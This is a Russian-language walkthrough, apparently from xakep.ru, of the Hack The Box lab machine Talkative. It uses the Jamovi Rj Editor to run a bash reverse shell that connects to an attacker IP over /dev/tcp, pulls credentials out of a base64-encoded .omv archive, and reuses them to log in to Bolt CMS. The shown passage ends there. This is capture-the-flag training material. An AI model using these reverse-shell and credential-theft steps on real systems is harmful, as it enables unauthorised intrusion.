Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этом райтапе по сложной машине с площадки Hack The Box мы проэксплуатируем уязвимость в CMS Jamovi для получения учетных данных, а затем попентестим CMS Bolt, чтобы получить управление над Docker и туннелировать трафик на основной хост. После этого работаем с базой RocketChat для авторизации в чате и получения RCE. Чтобы повысить привилегии, разберемся с возможностью CAP_DAC_READ_SEARCH
.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.155 talkative.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Результат работы скрипта (продолжение)
Нашли пять открытых портов:
При этом фильтруется подключение к порту 22 (SSH).
С помощью утилиты WhatWeb узнаем, какие технологии используются на обнаруженных открытых портах.
whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/
Проверка используемых технологий
Из всего, что нашел WhatWeb, нас больше всего интересует платформа Jamovi.
Главная страница сайта http://talkative.htb:3000/
Нам доступен Rj Editor, а это очень легкий способ получить удаленное выполнение кода (RCE). Для создания реверс‑шелла будем использовать сайт Online Reverse Shell Generator. Там указываем параметры, такие как локальные хост и порт, язык и целевую систему.
Online Reverse Shell Generator
Затем открываем листенер, можно скопировать команду из генератора. А теперь открываем Rj Editor и передаем сгенерированный шелл в функцию system
. Отправляем на выполнение комбинацией клавиш Ctrl + Shift + Enter.
system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",intern=TRUE)
Rj Editor RCE
И получаем удаленную командную оболочку.
Бэкконнект от сервера
По пользователю и имени хоста понимаем, что находимся в докер‑контейнере.
Осматриваемся в рабочем окружении и в домашнем каталоге рута находим файл с расширением omv.
Содержимое каталога /root/
Перенесем этот файл на локальный хост для дальнейшего изучения. Так как файл маленький, можем закодировать его в Base64, а потом декодировать на локальном хосте.
cat /root/bolt-administration.omv | base64 -w0
Кодирование файла
Декодируем текст, а затем распакуем как архив ZIP. В одном из файлов найдем учетные данные.
echo UEsDBBQA...mBgAAAAA= | base64 -d > bolt-administration.omv
unzip bolt-administration.omv
Содержимое файла xdata.json (логины)
Содержимое файла xdata.json (пароли)
Получаем следующие пары учетных данных:
[email protected] : jeO09ufhWD<s
[email protected] : bZ89h}V<S_DA
[email protected] : )SQWGm>9KHEA
Я перепробовал разные комбинации логинов и паролей, но доступа все равно никуда получить не удалось. Однако находим почтовый адрес администратора и, попробовав найденные пароли для него, авторизуемся в CMS Bolt.
Главная страница http://talkative.htb/bolt
Bolt использует Twig для шаблонов и позволяет управлять контентом и пользователями. Это дает нам возможность записывать код в новый файл или вносить изменения в существующие файлы.
Источник: xakep.ru